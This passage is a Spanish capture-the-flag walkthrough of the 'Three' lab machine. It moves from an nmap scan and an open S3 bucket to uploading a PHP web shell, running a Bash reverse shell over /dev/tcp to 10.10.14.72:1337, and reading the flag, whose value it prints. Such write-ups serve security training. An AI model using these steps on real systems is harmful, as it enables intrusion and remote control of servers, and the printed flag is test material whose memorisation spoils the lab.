-sC: Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.
-sV: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.
-n: No resuelve nombres de dominio (reduce el tiempo del escaneo).
--open: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.
-T4: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.
-v: Modo verbose → Muestra más detalles sobre el progreso del escaneo
Resultados:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
| 256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_ 256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Inspección de la página web
Encontramos un dominio en el correo mail@thetoppers.htb, pero por problemas de virtual host no podemos verlo en el navegador, así que primero hay que guardar este host en el archivo local /etc/hosts
¿Que es el subdominio s3?
El subdominio s3 generalmente hace referencia a Amazon Simple Storage Service (Amazon S3), que es un servicio de almacenamiento en la nube proporcionado por AWS.
Un subdominio s3 como s3.tudominio.com suele indicar que el sitio está usando un bucket de S3 para alojar archivos estáticos, como imágenes, videos, documentos o incluso sitios web completos.
En muchos casos, este subdominio apunta directamente a un bucket público o privado de Amazon S3.
Para continuar con la intrusión a los recursos del bucket s3 primero vamos a necesitar instalar y configurar el awscli. Pasos:
┌──(root㉿kali)-[/home/kali]
└─# apt install awscli
┌──(root㉿kali)-[/home/kali]
└─# aws configure
AWS Access Key ID [None]: temp
AWS Secret Access Key [None]: temp
Default region name [None]: temp
Default output format [None]: temp
┌──(root㉿kali)-[/home/kali]
└─# aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2025-03-29 00:04:02 0 .htaccess
2025-03-29 00:04:02 11952 index.php
Nota: para configurar las credenciales de aws ver el siguiente link:
Otra opción para conectarnos al recurso sin configurar el awscli es:
┌──(root㉿kali)-[/home/kali]
└─# AWS_ACCESS_KEY_ID=none AWS_SECRET_ACCESS_KEY=none aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb
PRE images/
2025-03-29 00:04:02 0 .htaccess
2025-03-29 00:04:02 11952 index.php
Ahora que ya comprobamos el acceso a los recursos del bucket s3, lo que podemos hacer es subir una web shell al bucket s3 de la siguiente manera
Esta web shell nos permitira inyectar comandos (RCE) al equipo objetivo utilizando el parametro cmd en la URL
$_GET["cmd"] obtiene el valor del parámetro cmd enviado en la URL.
system() ejecuta ese valor como un comando en el sistema operativo y muestra la salida.
El segundo paso es generar un payload de reverse shell en Bash. Con esto podremos establecer una conexión desde la máquina víctima hacia nuestro equipo.
>& /dev/tcp/10.10.14.72/1337 → Redirige la entrada y salida del shell hacia la IP 10.10.14.72, en el puerto 1337, utilizando la interfaz de dispositivos /dev/tcp/.
0>&1 → Redirige el descriptor de archivo estándar de entrada (0) al descriptor de salida estándar (1), asegurando que la interacción funcione correctamente.
Con la web shell.php vamos a descargar el payload shell.sh y ejecutarlo en el equipo objetivo para que se conecte al netcatde nuestro equipo. Siguientes pasos: levantar el servidor con python3 para compartir el shell.sh y ponernos en escucha con netcat
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# nc -nvlp 1337
listening on [any] 1337 ...
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Ahora vamos a la página web y, usando el shell.php que subimos anteriormente al bucket, le vamos a indicar que se conecte a nuestro servidor atacante y descarge el recurso compartido: shell.sh y lo ejecute automaticamente con bash
┌──(root㉿kali)-[/home/kali/Documents/HTB/THREE]
└─# nc -nvlp 1337
listening on [any] 1337 ...
connect to [10.10.14.72] from (UNKNOWN) [10.129.236.139] 59468
bash: cannot set terminal process group (1654): Inappropriate ioctl for device
bash: no job control in this shell
www-data@three:/var/www/html$ ls
ls
images
index.php
shell.php
www-data@three:/var/www/html$ cd ..
cd ..
www-data@three:/var/www$ ls
ls
flag.txt
html
www-data@three:/var/www$ cat flag.txt
cat flag.txt
a980d99281a28d638ac68b9bf9453c2b
Last updated
Ahora podemos hacer una búsqueda de subdirectorios con